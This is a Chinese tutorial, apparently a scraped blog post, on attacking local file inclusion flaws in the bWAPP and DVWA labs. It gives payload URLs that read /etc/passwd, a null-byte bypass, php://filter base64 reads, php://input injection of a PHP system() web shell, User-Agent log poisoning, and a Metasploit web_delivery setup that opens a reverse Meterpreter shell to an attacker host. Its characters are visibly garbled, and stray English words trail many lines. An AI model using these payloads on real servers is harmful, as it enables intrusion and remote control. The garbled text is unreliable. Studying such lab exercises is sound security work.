本地文件包含漏洞利用姿式

本文的主要目的是分享在服务器遭受文件包含漏洞时,使用各类技术对Web服务器进行攻击的想法。 咱们都知道LFI漏洞容许用户经过在URL中包括一个文件。在本文中,我使用了bWAPP和DVWA两个不一样的平台,其中包含文件包含漏洞的演示。经过它我以四种不一样的方式执行LFI攻击php

0x01 基本本地文件包含

在浏览器中输入目标IP,并在BWAPP内登陆(bee:bug),如今选择bug:remote & local file Inclusion,而后点击hack。web

1-1

打开具备RFI和LFI漏洞的网页。在下拉列表中选择语言释,单击go按钮时,所选的语言文件将包含在URL中。 执行基本攻击操做。windows

http://192.168.1.101/bWAPP/rlfi.php?language=lang_en.php&action=go into 192.168.1.101/bWAPP/flfi.php?language=/etc/passwd浏览器

在基本的LFI攻击中,咱们可使用(../)或简单地(/)从目录中直接读取文件的内容,下面的截图中在浏览器URL中访问密码文件。安全

2-1

0x02 Null byte

在一些状况下,因为高安全级别,上面提到的基本本地文件包含攻击可能不工做。从下面的截图能够观察到,当在URL中执行相同的路径时,却没法读取密码文件。  因此当面对这样的问题,能够进行NULL byte攻击。服务器

打开burp suite捕获浏览器请求,而后选择代理选项卡并开始截取。 不要忘记在使用burp suite时设置浏览器代理。session

3.1

将拦截的数据发送到repeatertcp

3.2

在repeater中作发送的请求和响应生成的分析。从截图能够清楚的看出/ etc / passwd不能读取。函数

3.3

在下面的截图中,经过在etc/passwd目录的末尾添加空字符(%00)来转发请求,而后单击go选项卡。而后在窗口的右视图上,密码文件做为响应打开。ui

3.4

0x03 Base64 encoded

当安全级别高而且没法查看PHP文件内容时,使用如下PHP函数:

http://192.168.1.101/bWAPP/rlfi.php?language=php://filter/read=convert.base64-encode/resource=/etc/passwd

从如下截图能够看到passwd文件内容编码为base64,复制整个编码文本。

3-2

使用hackbar解码复制的编码文本。

4-2

将复制的编码文本粘贴到弹出的对话框内。

5-3

密码文件的内容:

6-2

0x04 PHP Input

使用PHP Input函数,经过执行注入PHP代码来利用LFI漏洞。首先,加载目标网页URL:

http://192.168.1.101/bWAPP/rlfi.php?language=lang_en.php&action=go

11

使用PHP input函数:

http://192.168.1.101/bWAPP/rlfi.php?language=php://input&cmd=ls

而后选中enable Post data复选框,转发提交的数据,并在给定文本区域中添加cmd命令<?php system($ _ GET [‘cmd’]); ?>。以下图所示,最后点击execute。

12

经过反向链接链接目标机器; 在kali Linux中打开终端输入msfconsole启动metasploit。

use exploit/multi/script/web_delivery msf exploit (web_delivery)>set target 1 msf exploit (web_delivery)> set payload windows/meterpreter/reverse_tcp msf exploit (web_delivery)> set lhost 192.168.0.104  msf exploit (web_delivery)>set srvport  8081 msf exploit (web_delivery)>exploit

复制下图中的高亮文本:

13

将上面复制的PHP代码粘贴到URL中,以下图所示,并执行它。

14

当上面的URL被执行时,将metasploit中得到目标的meterpreter会话。

msf exploit (web_delivery)>session I 1 meterpreter> sysinfo

15

0x05 Proc/self/environ

若是服务超时,经过LFI利用它。能够包括存储User_Agent的proc/self/environ文件,在文件中插入用于执行CMD命令的PHP代码

http://192.168.1.102/dvwa/vulnerabilities/fi/?page=proc/self/environ

16

启动burp suite拦截浏览器请求,并将获取数据发送到repeater。

17

将CMD命令<?php system($_GET[‘cmd’]); ?>添加到user_Agent内,并使用GET参数192.168.1.8/lfi/lfi.php?file=/var/www/apachae2/access.log&cmd=id发送请求。响应以下图右侧所示。

18

相关文章
相关标签/搜索